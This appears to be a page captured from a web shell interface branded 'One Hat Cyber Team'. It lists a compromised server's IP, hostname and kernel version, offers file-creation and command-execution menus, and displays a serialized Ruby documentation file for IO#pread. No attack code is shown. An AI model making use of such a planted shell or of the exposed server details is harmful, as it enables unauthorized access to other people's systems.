⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
IO
/
View File Name :
pread-i.ri
U:RDoc::AnyMethod[iI" pread:ETI" IO#pread;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"MReads
maxlen
bytes from
ios
using the pread system call ;TI"Cand returns them as a string without modifying the underlying ;TI"Ldescriptor offset. This is advantageous compared to combining IO#seek ;TI"Land IO#read in that it is atomic, allowing multiple threads/process to ;TI"Ishare the same IO object for reading the file at various locations. ;TI"
outbuf argument is present, it must ;TI"6reference a String, which will receive the data. ;TI"BRaises SystemCallError on error, EOFError at end of file and ;TI"HNotImplementedError if platform does not implement the system call.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"DFile.write("testfile", "This is line one\nThis is line two\n") ;TI""File.open("testfile") do |f| ;TI"F p f.read # => "This is line one\nThis is line two\n" ;TI". p f.pread(12, 0) # => "This is line" ;TI", p f.pread(9, 8) # => "line one\n" ;TI"end;T:@format0: @fileI" io.c;T:0@omit_headings_from_table_of_contents_below0I"6ios.pread(maxlen, offset[, outbuf]) -> string ;T0[ I"(p1, p2, p3 = v3);T@ FI"IO;TcRDoc::NormalClass00